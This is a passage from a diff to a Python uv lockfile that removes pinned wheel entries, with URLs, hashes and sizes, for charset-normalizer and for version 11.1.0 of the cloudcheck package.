"2025-10-14T04:42:32.879Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/1f/b8/6d51fc1d52cbd52cd4ccedd5b5b2f0f6a11bbf6765c782298b0f3e808541/charset_normalizer-3.4.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e824f1492727fa856dd6eda4f7cee25f8518a12f3c4a56a74e8095695089cf6d", size = 209709, upload-time = "2025-10-14T04:40:11.385Z" }, - { url = "https://files.pythonhosted.org/packages/5c/af/1f9d7f7faafe2ddfb6f72a2e07a548a629c61ad510fe60f9630309908fef/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4bd5d4137d500351a30687c2d3971758aac9a19208fc110ccb9d7188fbe709e8", size = 148814, upload-time = "2025-10-14T04:40:13.135Z" }, - { url = "https://files.pythonhosted.org/packages/79/3d/f2e3ac2bbc056ca0c204298ea4e3d9db9b4afe437812638759db2c976b5f/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:027f6de494925c0ab2a55eab46ae5129951638a49a34d87f4c3eda90f696b4ad", size = 144467, upload-time = "2025-10-14T04:40:14.728Z" }, - { url = "https://files.pythonhosted.org/packages/ec/85/1bf997003815e60d57de7bd972c57dc6950446a3e4ccac43bc3070721856/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f820802628d2694cb7e56db99213f930856014862f3fd943d290ea8438d07ca8", size = 162280, upload-time = "2025-10-14T04:40:16.14Z" }, - { url = "https://files.pythonhosted.org/packages/3e/8e/6aa1952f56b192f54921c436b87f2aaf7c7a7c3d0d1a765547d64fd83c13/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:798d75d81754988d2565bff1b97ba5a44411867c0cf32b77a7e8f8d84796b10d", size = 159454, upload-time = "2025-10-14T04:40:17.567Z" }, - { url = "https://files.pythonhosted.org/packages/36/3b/60cbd1f8e93aa25d1c669c649b7a655b0b5fb4c571858910ea9332678558/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d1bb833febdff5c8927f922386db610b49db6e0d4f4ee29601d71e7c2694313", size = 153609, upload-time = "2025-10-14T04:40:19.08Z" }, - { url = "https://files.pythonhosted.org/packages/64/91/6a13396948b8fd3c4b4fd5bc74d045f5637d78c9675585e8e9fbe5636554/charset_normalizer-3.4.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9cd98cdc06614a2f768d2b7286d66805f94c48cde050acdbbb7db2600ab3197e", size = 151849, upload-time = "2025-10-14T04:40:20.607Z" }, - { url = "https://files.pythonhosted.org/packages/b7/7a/59482e28b9981d105691e968c544cc0df3b7d6133152fb3dcdc8f135da7a/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:077fbb858e903c73f6c9db43374fd213b0b6a778106bc7032446a8e8b5b38b93", size = 151586, upload-time = "2025-10-14T04:40:21.719Z" }, - { url = "https://files.pythonhosted.org/packages/92/59/f64ef6a1c4bdd2baf892b04cd78792ed8684fbc48d4c2afe467d96b4df57/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:244bfb999c71b35de57821b8ea746b24e863398194a4014e4c76adc2bbdfeff0", size = 145290, upload-time = "2025-10-14T04:40:23.069Z" }, - { url = "https://files.pythonhosted.org/packages/6b/63/3bf9f279ddfa641ffa1962b0db6a57a9c294361cc2f5fcac997049a00e9c/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:64b55f9dce520635f018f907ff1b0df1fdc31f2795a922fb49dd14fbcdf48c84", size = 163663, upload-time = "2025-10-14T04:40:24.17Z" }, - { url = "https://files.pythonhosted.org/packages/ed/09/c9e38fc8fa9e0849b172b581fd9803bdf6e694041127933934184e19f8c3/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:faa3a41b2b66b6e50f84ae4a68c64fcd0c44355741c6374813a800cd6695db9e", size = 151964, upload-time = "2025-10-14T04:40:25.368Z" }, - { url = "https://files.pythonhosted.org/packages/d2/d1/d28b747e512d0da79d8b6a1ac18b7ab2ecfd81b2944c4c710e166d8dd09c/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:6515f3182dbe4ea06ced2d9e8666d97b46ef4c75e326b79bb624110f122551db", size = 161064, upload-time = "2025-10-14T04:40:26.806Z" }, - { url = "https://files.pythonhosted.org/packages/bb/9a/31d62b611d901c3b9e5500c36aab0ff5eb442043fb3a1c254200d3d397d9/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:cc00f04ed596e9dc0da42ed17ac5e596c6ccba999ba6bd92b0e0aef2f170f2d6", size = 155015, upload-time = "2025-10-14T04:40:28.284Z" }, - { url = "https://files.pythonhosted.org/packages/1f/f3/107e008fa2bff0c8b9319584174418e5e5285fef32f79d8ee6a430d0039c/charset_normalizer-3.4.4-cp310-cp310-win32.whl", hash = "sha256:f34be2938726fc13801220747472850852fe6b1ea75869a048d6f896838c896f", size = 99792, upload-time = "2025-10-14T04:40:29.613Z" }, - { url = "https://files.pythonhosted.org/packages/eb/66/e396e8a408843337d7315bab30dbf106c38966f1819f123257f5520f8a96/charset_normalizer-3.4.4-cp310-cp310-win_amd64.whl", hash = "sha256:a61900df84c667873b292c3de315a786dd8dac506704dea57bc957bd31e22c7d", size = 107198, upload-time = "2025-10-14T04:40:30.644Z" }, - { url = "https://files.pythonhosted.org/packages/b5/58/01b4f815bf0312704c267f2ccb6e5d42bcc7752340cd487bc9f8c3710597/charset_normalizer-3.4.4-cp310-cp310-win_arm64.whl", hash = "sha256:cead0978fc57397645f12578bfd2d5ea9138ea0fac82b2f63f7f7c6877986a69", size = 100262, upload-time = "2025-10-14T04:40:32.108Z" }, { url = "https://files.pythonhosted.org/packages/ed/27/c6491ff4954e58a10f69ad90aca8a1b6fe9c5d3c6f380907af3c37435b59/charset_normalizer-3.4.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6e1fcf0720908f200cd21aa4e6750a48ff6ce4afe7ff5a79a90d5ed8a08296f8", size = 206988, upload-time = "2025-10-14T04:40:33.79Z" }, { url = "https://files.pythonhosted.org/packages/94/59/2e87300fe67ab820b5428580a53cad894272dbb97f38a7a814a2a1ac1011/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5f819d5fe9234f9f82d75bdfa9aef3a3d72c4d24a6e57aeaebba32a704553aa0", size = 147324, upload-time = "2025-10-14T04:40:34.961Z" }, { url = "https://files.pythonhosted.org/packages/07/fb/0cf61dc84b2b088391830f6274cb57c82e4da8bbc2efeac8c025edb88772/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a59cb51917aa591b1c4e6a43c132f0cdc3c76dbad6155df4e28ee626cc77a0a3", size = 142742, upload-time = "2025-10-14T04:40:36.105Z" }, @@ -837,88 +651,139 @@ wheels = [ [[package]] name = "cloudcheck" -version = "11.1.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/b5/a7/ef40cc541c87615091321ac67042ce481e32215d93c37fd184fd999d2a0e/cloudcheck-11.1.0.tar.gz", hash = "sha256:6f6d7415fd62dd1dffeb171f603e4f25f451a856924f0b0e7d14851a2b888574", size = 4912429, upload-time = "2026-06-24T01:38:19.915Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/f0/d1/1f68ac63c190a1f3abf1d0956ae397e7a55609c7e091e87ec4df1b782f64/cloudcheck-11.1.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4f0381f12baa470b39b5754ff2103700ac08022b0d973b0a1ee88c581cd0b9e8", size = 4233583, upload-time = "2026-06-24T01:51:11.284Z" }, - { url = "https://files.pythonhosted.org/packages/9c/49/13874ca76de9ed7ff8073940875b56b73da51db5265d36853f4f92fa8ac8/cloudcheck-11.1.0-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e92a24c67864befc009d9ab6c87f3a78f827dc17eb72b45d8191f79d5378e624", size = 3585529, upload-time = "2026-06-24T01:51:24.341Z" }, - { url = "https://files.pythonhosted.org/packages/1e/d3/a21374abbc78539141830b63bffa68c7e08009722022b333868376a3d835/cloudcheck-11.1.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8d0b542a401dc6defdc748f42abbf2a5aaf89de7c645c346e01f296dd7309458", size = 4169240, upload-time = "2026-06-24T01:51:49.462Z" }, - { url = "https://files.pythonhosted.org/packages/54/3f/3f14b8ba7cfa702d4561ec7288b5f314c93c182a67dd43f5ed5daad8f1be/cloudcheck-11.1.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4f70749d0a0b8f72ef4c1141a0cb733f583e14be29731c7fcdf85d274d21c178", size = 4082231, upload-time = "2026-06-24T01:51:37.04Z" }, - { url = "https://files.pythonhosted.org/packages/68/2c/a52e04c8b7b7b6da8c20665b1b3a0e529e83d1c857eff07bb5b611dcee5e/cloudcheck-11.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6cb52f4d6a7a19c78ad3c26c7f197fd08ff53d4c72382366d85b1ad3d8f380f6", size = 4029422, upload-time = "2026-06-24T01:52:02.106Z" }, - { url = "https://files.pythonhosted.org/packages/5d/36/1b089ed7e6810a6321139e60d1c8a8805128b136fff8cc9c09f80040fcea/cloudcheck-11.1.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f937b943508e085ea1310cde445c78e88a83a3298155df9ad6f903b4ae7163dc", size = 4637574, upload-time = "2026-06-24T01:52:28.815Z" }, - { url = "https://files.pythonhosted.org/packages/be/79/936692cfb53adc0d6f077940c0e6eeaba3266d6117894940a0ed7437ed60/cloudcheck-11.1.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:27c1c9bcadc00b38ef25ebd13cfbdd659c097eb63e737ed77f49375f51639db0", size = 3918053, upload-time = "2026-06-24T01:52:42.204Z" }, - { url = "https://files.pythonhosted.org/packages/0b/08/c515843e474916520c2f3000ad96d84bd57905718ad811ba817ed7e91ca0/cloudcheck-11.1.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:811ed6e39cbb9f4497de0cf924c50f3eb1244c6ecd5062a0e1a423d335f02990", size = 4262168, upload-time = "2026-06-24T01:52:55.955Z" }, - { url = "https://files.pythonhosted.org/packages/d7/f5/f71d03477412a8ed9689a5c1231fd8af6ea41498fdacce601ab8c5730f55/cloudcheck-11.1.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9c5e1eaa5758d8a6a10a8846478fe9813424e105c0fc742a47218dcddcb0d10f", size = 4291736, upload-time = "2026-06-24T01:53:09.554Z" }, - { url = "https://files.pythonhosted.org/packages/d8/36/26ece5eb37a656f79ae622c4d971d6861bd946b3e00939f93d7df62d1dec/cloudcheck-11.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:e969a8e7def6d1a15ec9e16e691886a6dad47b2179cf5a802dbe97aeb1e309a4", size = 1414797, upload-time = "2026-06-24T01:53:23.783Z" }, - { url = "https://files.pythonhosted.org/packages/80/af/0ae5ef92b6cadfabc5a720e188538c87ca2f100ba9d0fd32acfa673ce8b6/cloudcheck-11.1.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:0d46d045256dee4d6cdcd8ab318a23685198e48efb0ac90374d01117b4fe76fb", size = 1632427, upload-time = "2026-06-24T01:52:22.037Z" }, - { url = "https://files.pythonhosted.org/packages/39/4a/d2ac4022927c021782146e6074ffb6956eb913c73522b4df2cc48f022f5f/cloudcheck-11.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:0ed638c38fb92f5fd3418ddc7c4efa57acbe7be094913e892c5407f079e487c0", size = 1607813, upload-time = "2026-06-24T01:52:14.82Z" }, - { url = "https://files.pythonhosted.org/packages/d1/33/e78b449dd12e5b9deaf24c81cd456439c61a78f7241dc53980ae97738c7f/cloudcheck-11.1.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6e51567ec7e0fb2ec00767ce4d5960bfea7508e2a7930a1319ade023e780ac1b", size = 4235073, upload-time = "2026-06-24T01:51:13Z" }, - { url = "https://files.pythonhosted.org/packages/ea/57/78e1dd0df64fb3ee1a4d8eb4f5223d0e18051b4aed50bbcb413b0deea1a2/cloudcheck-11.1.0-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:7c1c11ef543658dd120adec82600df90c3fc41b73a57df3daf2c9af5890dfcfe", size = 3585141, upload-time = "2026-06-24T01:51:25.961Z" }, - { url = "https://files.pythonhosted.org/packages/42/ae/fab43ed6e9b21b0591890d688b45b31a359953c1e2e7e6002abda006de36/cloudcheck-11.1.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4236fd5649312d8dcec9a58b95d6332698da66f107d916b506957febf6c10e80", size = 4168921, upload-time = "2026-06-24T01:51:51.209Z" }, - { url = "https://files.pythonhosted.org/packages/21/2a/b2237231ec916fb8a496da0bccd826b962e0a650f8fcf1419b7823bf2a52/cloudcheck-11.1.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ef47a2e43f78dc0d63a48a65cffaac7da90ad7f2f8b85a00ca03152818f719e3", size = 4082934, upload-time = "2026-06-24T01:51:38.854Z" }, - { url = "https://files.pythonhosted.org/packages/8e/bd/005838063806eb0b483e8773c5f498f6ff5c902998260f0d7b8a2408d906/cloudcheck-11.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd9ca7ea0dfe8abf1c6ca243d685a9efcca446f202275ac0a7a341ae7827ef28", size = 4027396, upload-time = "2026-06-24T01:52:04.038Z" }, - { url = "https://files.pythonhosted.org/packages/93/44/e645877ec6d7bdbd29215771857fc16bddd07234554c0def9fb735b0c0a4/cloudcheck-11.1.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:590ff109285306b5d772c3d21bebe47fa2f151f843b5411abda309124e93d117", size = 4641536, upload-time = "2026-06-24T01:52:30.674Z" }, - { url = "https://files.pythonhosted.org/packages/70/55/ba038eca014cb7ffa1ce26b48ceb75a625028ff9bcdb890829871421fc3e/cloudcheck-11.1.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:544cc820c26c76fb824f892876e413f477652464ff5a2f77888013da31ceeeb8", size = 3916047, upload-time = "2026-06-24T01:52:44.578Z" }, - { url = "https://files.pythonhosted.org/packages/ea/56/d8fca04a8f2cd6dbecd45f0a4c1943a6d82bd78a84c6c1173d6cc576095d/cloudcheck-11.1.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:55e922a2221d86bb15ec6ab4d7dfaef2256202b17f40b5909f08e43fbfa44de8", size = 4261416, upload-time = "2026-06-24T01:52:57.889Z" }, - { url = "https://files.pythonhosted.org/packages/bd/8c/741f054f53192970c3a12dff0c8338966fde2668aad55e852f3e85f901a8/cloudcheck-11.1.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:1b4484f57c91ac87f1ade3d9c59cfda8e30c91d687da909a97ba7bece42a4126", size = 4290042, upload-time = "2026-06-24T01:53:11.461Z" }, - { url = "https://files.pythonhosted.org/packages/cf/dc/7b9daf45013786fa188e1b26bd7317193f266e3586a839b1dadccf3acde8/cloudcheck-11.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:a2e8ae876141ba3019e9d10464bb8782dad2ac981940ee946493b4aaa4528fd1", size = 1416873, upload-time = "2026-06-24T01:53:25.41Z" }, - { url = "https://files.pythonhosted.org/packages/4b/10/0440a42b558c872612de41fc0820579bdc7e2628b523414d23fe7241dfa0/cloudcheck-11.1.0-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:1fbe51b7e1b4177004c75f2e3af5cbd72fdb68f79105d31263801e36d76565b6", size = 1628297, upload-time = "2026-06-24T01:52:23.737Z" }, - { url = "https://files.pythonhosted.org/packages/aa/b0/1c68aed4783fe4bf70cc82f90f4630d17b045438a0994b0a7e3a044ee827/cloudcheck-11.1.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8f1a58782f395a972177e3b594a500c956da976e76cee9c4d81f3602f1d3e438", size = 1603790, upload-time = "2026-06-24T01:52:16.658Z" }, - { url = "https://files.pythonhosted.org/packages/55/e4/2df14c1cf9326e301167b9497314849d138e5c0fa2d370abc40b6169016e/cloudcheck-11.1.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b28ba5aaefebed398c1711d4112d1f0808ac35d24a82b581a3b84b554f4b0605", size = 4231440, upload-time = "2026-06-24T01:51:14.832Z" }, - { url = "https://files.pythonhosted.org/packages/ef/30/3b54e4ffc807846cd982016f43ddf16c0c7981b2abdb6a63130a2fc410be/cloudcheck-11.1.0-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4f1c10fa62aff32cb4185d804977fc08833a00f54a48da4f4c2d7cfbab59cd38", size = 3582533, upload-time = "2026-06-24T01:51:27.798Z" }, - { url = "https://files.pythonhosted.org/packages/39/72/4870ed35779ffc64af2ee8e6b6e5dcaf85fc1b1ef25cc80293a07f43d44b/cloudcheck-11.1.0-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ac8663542f0a56d69ff7ef95b6ea58a3d352ec13fcad86c221f5e66644e0240b", size = 4166645, upload-time = "2026-06-24T01:51:53.012Z" }, - { url = "https://files.pythonhosted.org/packages/3b/ba/45b6a553de29735a7e08e22f45d3f82ffd4f8c03f277d2830ef78c7d2529/cloudcheck-11.1.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:61636088dad3b4412b4117c49978e2a53cc124a7043c9a3c18270fa8c978c600", size = 4076618, upload-time = "2026-06-24T01:51:40.657Z" }, - { url = "https://files.pythonhosted.org/packages/15/43/b0343a74f27d398610baaa39382bdba6a58f106c8d818085d6204386725a/cloudcheck-11.1.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:41301dc25603fae15d2a0a6ca6b02b8454b825fb1bae5ead4b0218ed57e31c41", size = 4022187, upload-time = "2026-06-24T01:52:05.788Z" }, - { url = "https://files.pythonhosted.org/packages/80/e9/b4fd29b3e40dc37aa1d77e4b6bf487db17aa7859b9a9009070f54dac3f65/cloudcheck-11.1.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:cfd7ba30e7a3c13d64b8c81b37fa621a8def13591ce612b3fbe29d8390053be0", size = 4636261, upload-time = "2026-06-24T01:52:32.719Z" }, - { url = "https://files.pythonhosted.org/packages/38/8a/571f57283009fe6ac174340a224ee7be41bae54df480c0cf08fecf5496e5/cloudcheck-11.1.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:1bb64247e7414f97d8efcd86d7be63b2bbd04694abbe69c33ea73e97f39eb6c3", size = 3911569, upload-time = "2026-06-24T01:52:46.555Z" }, - { url = "https://files.pythonhosted.org/packages/40/a5/3963d4a90720a05916f14a154dfb1fe6fde274a48f60f5d3e2ea50d7c2c2/cloudcheck-11.1.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:a9a904c36b63089b0d6bbd27c44f3433ab6b50128e649431744669756e7bdfb1", size = 4257464, upload-time = "2026-06-24T01:52:59.66Z" }, - { url = "https://files.pythonhosted.org/packages/67/25/2deb743ec58df78cd0ce577a40df187600e670d1554ae6c686c9405362c6/cloudcheck-11.1.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:8d47c3527a6db33ae5c1c57c428df2f16e47818a75154481ff88e70b7b7f009c", size = 4289112, upload-time = "2026-06-24T01:53:13.416Z" }, - { url = "https://files.pythonhosted.org/packages/bd/ae/18f5b61a5ad6add2cea661bd839c1246ff295de24b1d761aacb78229582b/cloudcheck-11.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:53df6bd27a797560802c4e8e6b3a8bb4f6aa9d87bd762d2d7ab4ed4bbda1ef5f", size = 1412447, upload-time = "2026-06-24T01:53:27.079Z" }, - { url = "https://files.pythonhosted.org/packages/23/22/16169719a177e6ed099f1030b95a68dacd516429563bfe4c1d4561bd385d/cloudcheck-11.1.0-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:7fdd75d9290732ab63b60a0456c72c6100b0ece7ba29f3ba37903da945aed90e", size = 1627846, upload-time = "2026-06-24T01:52:25.366Z" }, - { url = "https://files.pythonhosted.org/packages/31/42/567df33fd6022379f70ab69659b18f3a28a44c5c0878d4928c1d0c8ab033/cloudcheck-11.1.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:91682f2f6f06f7d99040c3b7e281e82057322cfd4d0f15c77746868335176bf4", size = 1603340, upload-time = "2026-06-24T01:52:18.402Z" }, - { url = "https://files.pythonhosted.org/packages/e5/00/1f054e67b5932f63cdbe1d4363c358a926ccc6a46a286fb18b41a82f1edc/cloudcheck-11.1.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8cc23596a1c64d5dc8300f03bec7f3962e21ff07fcca1b9a7e697d4ec47628f1", size = 4231553, upload-time = "2026-06-24T01:51:16.77Z" }, - { url = "https://files.pythonhosted.org/packages/cd/c2/27b9eb424148475cb6c696be2926bf06a27e9e19066357c99f5a8431bc1b/cloudcheck-11.1.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a9d2c81349bc95cf598248da3f34cc052ee9b19a0d374923ba88ca522a2b6b21", size = 3581702, upload-time = "2026-06-24T01:51:29.737Z" }, - { url = "https://files.pythonhosted.org/packages/f1/23/090a17cdf2447deec2019ddf2c99e71998fc7b6c1eca4dfd93e82b35b14f/cloudcheck-11.1.0-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e1db5cd94eaff83acf93111c83cc053a71a11861ae3a45d08c5a5c02a919ab17", size = 4166027, upload-time = "2026-06-24T01:51:54.715Z" }, - { url = "https://files.pythonhosted.org/packages/a9/95/a663471127fc36ddc5102a7f1638630e7098a4c2f59385039cfb201ec5a8/cloudcheck-11.1.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:03d8ab01a4f72a806d8ecb045e29055d208e5e75202934aee1fa3d709a4c77f2", size = 4076800, upload-time = "2026-06-24T01:51:42.432Z" }, - { url = "https://files.pythonhosted.org/packages/8b/47/a97fbf2eacb4956cbb9ca0a4316067b5d7cf18164267829cceac05eb6fc2/cloudcheck-11.1.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:916574b39591b533bda458c9ae3a780169e71be1ad0c72e1175ad58a5a5629b3", size = 4020820, upload-time = "2026-06-24T01:52:07.687Z" }, - { url = "https://files.pythonhosted.org/packages/0d/e0/f4545bb3bf57ee43c17ef1226de5dde334977ba538632f2be99d745885fa/cloudcheck-11.1.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:488518b5bcf8b9e72cefb5c23af69a52be68b4a196ccca5ef2f5a7cd5bf41645", size = 4634914, upload-time = "2026-06-24T01:52:34.565Z" }, - { url = "https://files.pythonhosted.org/packages/07/f0/932346dcf9efa86245a490f5d3a2432f895bba61432ece025134534a88b3/cloudcheck-11.1.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:1b32de616c43504e092f7ce7ad7122f6cba2a0d72bca130b0134d8811aba277c", size = 3911265, upload-time = "2026-06-24T01:52:48.629Z" }, - { url = "https://files.pythonhosted.org/packages/22/6b/99da3537c47ac0f73ff753ffb850d1f3249a653d537925e14bb7d66b880c/cloudcheck-11.1.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:ca6a5e8e8b293acd32a5f5affe4106c6165033445062384a44dc2044c4d2061f", size = 4256638, upload-time = "2026-06-24T01:53:01.56Z" }, - { url = "https://files.pythonhosted.org/packages/2d/3f/b8250fa548c54d41948a59b24c23cba8215aae6ec45237c0981e47f6986e/cloudcheck-11.1.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ccaa40f94d028bf264e71e89e6e51993fc01643fb063e0f2633cd44de86a429c", size = 4288676, upload-time = "2026-06-24T01:53:15.676Z" }, - { url = "https://files.pythonhosted.org/packages/4d/5d/5fc745389013087e1d92c633b848f1a149486a0619a54276690b5f209e1a/cloudcheck-11.1.0-cp313-cp313-win_amd64.whl", hash = "sha256:a90283241cbf136f99a4b9181ad5845aa479e826e0fc1a8287b8a69400cd14e3", size = 1412224, upload-time = "2026-06-24T01:53:28.64Z" }, - { url = "https://files.pythonhosted.org/packages/59/e4/ae62a65601098faf2b0b841e7ce5e87617f5c640c8c775087a77dea0b4a4/cloudcheck-11.1.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:37c7b25eebde0bdfadbe23a285ee0570cc6b91aee01400b3d2a12eb9c354e9a6", size = 1628902, upload-time = "2026-06-24T01:52:27.078Z" }, - { url = "https://files.pythonhosted.org/packages/ca/c8/b57b9930dc5352696f8ce154fcd8c4a1c0e56a7436186430d016c6be0773/cloudcheck-11.1.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:e69c64d371cef736ce7404dbc0d2d4f0af2c645e467432d5596f01f2b3f1c67e", size = 1603546, upload-time = "2026-06-24T01:52:20.368Z" }, - { url = "https://files.pythonhosted.org/packages/91/1d/13e34739ea4b1d6adc4af45c569446f70435616a81facc2b8adc7c3a0e36/cloudcheck-11.1.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5e99315d0e1214987bc2f6463dbfc5864e30a757c0f5a61ab3f569eeab65d804", size = 4227647, upload-time = "2026-06-24T01:51:18.708Z" }, - { url = "https://files.pythonhosted.org/packages/88/91/f4bb1a4ad1388375d62866c3dbb2d7868d01cc84d529404fecd1ea364ec3/cloudcheck-11.1.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ac124c734c5e9e773f55245878819d793eb30662974f67fadf9bfb01e89f5850", size = 3582647, upload-time = "2026-06-24T01:51:31.514Z" }, - { url = "https://files.pythonhosted.org/packages/d3/61/36bedf0b70f3a31a25c72c1167a7972652084a7e07c8419fa363f03aab41/cloudcheck-11.1.0-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:14da5f7208fa6248ce96e620eca7888977905ff29de217c294976f098928e255", size = 4166298, upload-time = "2026-06-24T01:51:56.768Z" }, - { url = "https://files.pythonhosted.org/packages/f2/df/87ddfc882f32b2cfcbbd30b8758cadced445114c17b6979b60ed0d8c7e9f/cloudcheck-11.1.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:05cdffad94d306ed391399848c583f917fb4ac25d99e6edddcaa77a9b78a9d5a", size = 4078109, upload-time = "2026-06-24T01:51:44.128Z" }, - { url = "https://files.pythonhosted.org/packages/82/6d/709c0fb41c52029da2a91df2f2184a37beb8ab95c3c614df2575060b4033/cloudcheck-11.1.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:593f78d4740b83f43955883b24fdc785193b7ff4e679f5545f9e9e6501ea86b5", size = 4019438, upload-time = "2026-06-24T01:52:09.584Z" }, - { url = "https://files.pythonhosted.org/packages/c7/7b/408820addf925533973abb1da009f8719c4063e4964ade075dcdf50c67d8/cloudcheck-11.1.0-cp314-cp314-manylinux_2_38_x86_64.whl", hash = "sha256:127ffee71e9de652e88c9e0179c59318eedd139b13453e839f0eb7f33e19b88f", size = 3620324, upload-time = "2026-06-24T01:38:18.03Z" }, - { url = "https://files.pythonhosted.org/packages/08/49/47e64da6a7775e8b79c0974ecb05d46c4576ea13c1b61616ee4536d04bc5/cloudcheck-11.1.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7625d40295f3285d8c81f527ea248e4a4c03a5ae9b0e3be777b7d5b519fffa51", size = 4627588, upload-time = "2026-06-24T01:52:36.667Z" }, - { url = "https://files.pythonhosted.org/packages/61/1e/7b3cfa2f917fb529f1b726cfe495258b05b7c689abf815c6786da63f03ad/cloudcheck-11.1.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:f5cf04e8a36eadcfe66739804df961f570dbacdade908fc8dde856bc7f3a070c", size = 3912050, upload-time = "2026-06-24T01:52:50.423Z" }, - { url = "https://files.pythonhosted.org/packages/77/43/1e680cbc70bfc2afd40753a2c3458f4568d14a3d605e72871f2aea3f5566/cloudcheck-11.1.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:3f4f92835fcf428f4acdc3681739a306c7172b6a7963ef4b272eefd0f390c387", size = 4256341, upload-time = "2026-06-24T01:53:03.479Z" }, - { url = 